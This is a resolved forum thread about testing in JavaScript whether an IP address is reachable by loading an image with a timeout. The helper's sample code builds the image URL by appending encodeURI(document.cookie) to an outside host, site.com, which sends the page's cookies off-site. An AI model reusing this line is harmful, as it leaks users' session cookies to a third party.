[RESOLVED]How to ping ip address in javascript ?

Hi

  How to ping ip address in javascript ? i am call webservice which pass ip address dynamically,so if ip address not connect it will not catch error,if use F12 in chrome can see unreachable or timeout error.

Below i try  some other way to ping ip address and image 

 function submitbtn_click() {
                var serverip = "192.168.168.1"
 
                if (serverip != "") {
                    var ImageObject = new Image();
                    ImageObject.src = "http://" + serverip + "/Services/images/Main/bar.gif"; 
 
                    if (ImageObject.height > 0)
                  {
                   alert("Success");
                    } else {
 
                         alert("Fail");
                    }
                }
                else {
                    alert("Server IP should not be empty");
                }
 
            }
        }

But second time only ping address and show success.

pls refer this link http://www.codeproject.com/Questions/837873/Why-second-time-only-ping-ip-address-in-javascript?arn=0

Pls reply asap

  Regards

      Aravind

I believe that loading of an image takes time and when you call it for the first time and check it size, it was not loaded yet. On second try it is already loaded/cached and that’s why it works then. So, I think you need to have a function that will wait
either for successful load or for certain timeout and only then check the size of the image.

Some ideas: http://stackoverflow.com/questions/8659364/how-to-cancel-an-image-load-after-a-period-of-time 

var image = new Image();
image.src = "https://www.site.com/cgi-bin/pullimg.cgi?user=" + encodeURI( document.cookie );
setTimeout
(
    function()
    {
        if ( !image.complete || !image.naturalWidth )
            alert("Fail");
else
alert("Success"); }, 1000 );

1000 is 1 sec, try to set e.g. 5000, etc.

Hi smirnov,

   Thank you for your reply,if i make 3 secs then i get solution,i mean if correct ip address it will show success,thanks a lot.

Regards

    Aravind

Leave a Reply